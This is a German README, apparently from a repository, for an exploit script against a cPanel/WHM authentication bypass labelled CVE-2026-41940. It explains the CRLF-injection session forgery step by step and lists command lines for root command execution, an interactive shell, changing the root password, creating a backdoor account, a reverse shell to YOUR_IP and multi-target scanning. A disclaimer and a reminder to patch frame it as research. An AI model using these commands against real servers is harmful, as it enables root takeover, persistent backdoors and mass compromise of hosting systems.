CVE-2026-41940: cPanel/WHM Authentifizierungs-Bypass (Einzel- & Mehrfachziel)
Haftungsausschluss: Dieses Dokument und das zugehörige Skript (exploit.py) dienen ausschließlich zu Bildungszwecken, der Sicherheitsforschung und autorisierten Penetrationstests. Verwenden Sie diese Software nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
Übersicht
exploit.py ist ein Skript, das eine Authentifizierungs-Bypass-Schwachstelle (CVE-2026-41940) in cPanel & WHM demonstriert. Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, über einen CRLF-Injektionsfehler eine Root-Sitzung in den Daemon-Cache einzuschleusen, was letztendlich Root-Zugriff auf WHM gewährt, ohne dass gültige Anmeldedaten erforderlich sind.
Schwachstellenanalyse & Exploit-Ablauf
Der Exploit nutzt eine CRLF-Injektionsschwachstelle (Carriage Return Line Feed) im Basic-Authentifizierungsmechanismus, kombiniert mit einem Sitzungs-Propagationsfehler. Das Skript automatisiert den Angriff in vier Phasen:
- Pre-Auth-Sitzungs-Minting: Stellt eine Verbindung zu öffentlichen Login-Endpunkten her (z. B.
/login/ oder /cgi/login.cgi), um ein Basis-Sitzungscookie ohne Authentifizierung (whostmgrsession) zu erlangen.
- CRLF-Injektion: Sendet einen manipulierten Basic-Authentication-Header, der einen Base64-kodierten Payload enthält, der Root-Sitzungsfelder direkt in den
cpsrvd-Sitzungs-Cache injiziert. Die Weiterleitungsantwort des Servers gibt das generierte Sicherheitstoken (cpsess) preis.
- Sitzungs-Propagation: Das rohe Sitzungscookie wird an einen authentifizierten WHM-Endpunkt gesendet, wodurch
do_token_denied ausgelöst wird, um die gefälschte Sitzung in den Daemon-Cache zu propagieren — wodurch sie zu einer gültigen authentifizierten Sitzung wird.
- Verifizierung: Greift mithilfe der gefälschten Sitzung auf eingeschränkte WHM-API-Endpunkte (z. B.
/json-api/version) zu, um den Root-Zugriff zu bestätigen.
Voraussetzungen
- Python 3.x
requests-Bibliothek
Verwendung
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
Argumente
Zielauswahl
| Argument | Beschreibung |
|---|
--target URL | Einzelne WHM-URL (z. B. https://target:2087) |
--target-file FILE | Datei mit Zielen (eine ip:port pro Zeile) — aktiviert automatisch den Prüfmodus |
Netzwerk- & Kernoptionen
Exploit-Optionen (Nach dem Bypass)
Ausgabeoptionen
| Argument | Beschreibung |
|---|
--output FILE | Sitzungstoken und Details in einer JSON-Datei speichern |
Beispiele
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
Interaktive Shell-Befehle
Bei Verwendung von --shell stehen die folgenden Befehle zur Verfügung:
Erinnerung
Wenden Sie die neuesten cPanel/WHM-Sicherheitspatches sofort an.